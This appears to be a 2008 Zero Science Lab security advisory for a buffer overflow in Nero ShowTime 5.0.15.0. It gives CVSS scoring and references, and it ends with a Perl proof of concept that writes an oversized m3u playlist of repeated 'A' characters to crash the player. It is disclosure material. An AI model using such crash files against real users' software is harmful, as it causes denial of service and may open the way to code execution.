Nero ShowTime 5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC

2008-11-2400:00:00

Gjoko Krstic

zeroscience.mk

9.3 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

7.7 High

AI Score

Confidence

Low

0.093 Low

EPSS

Percentile

94.7%

JSON

Title: Nero ShowTime 5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
Advisory ID: ZSL-2008-4902
Type: Local/Remote
Impact: System Access, DoS
Risk: (4/5)
Release Date: 24.11.2008

Summary

Nero ShowTime provides you with a high-performance software DVD player that takes you to a new dimension in DVD’s. Its cinema-like sound and excellent image quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime supports all DVD-Video formats and can play them from a disc and from the hard drive.

Description

Nero ShowTime is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

Vendor

Nero AG / Nero Inc. / Nero K.K. / Nero Ltd - <http://www.nero.com>

Affected Version

5.0.15.0

Tested On

Microsoft Windows XP Professional SP2 (English)

Vendor Status

N/A

PoC

showtime_bof.pl

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://xforce.iss.net/xforce/xfdb/46811>
[2] <http://secunia.com/advisories/32850/>
[3] <http://www.milw0rm.com/exploits/7207>
[4] <http://www.packetstormsecurity.org/filedesc/showtime_bof.pl.txt.html>
[5] <http://www.securityfocus.com/bid/32446>
[6] <https://vulners.com/cve/CVE-2008-7079>
[7] <http://osvdb.org/50199>
[8] <http://www.exploit-db.com/exploits/7207>

Changelog

[24.11.2008] - Initial release

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>#!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, "&gt;./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";</p></body></html>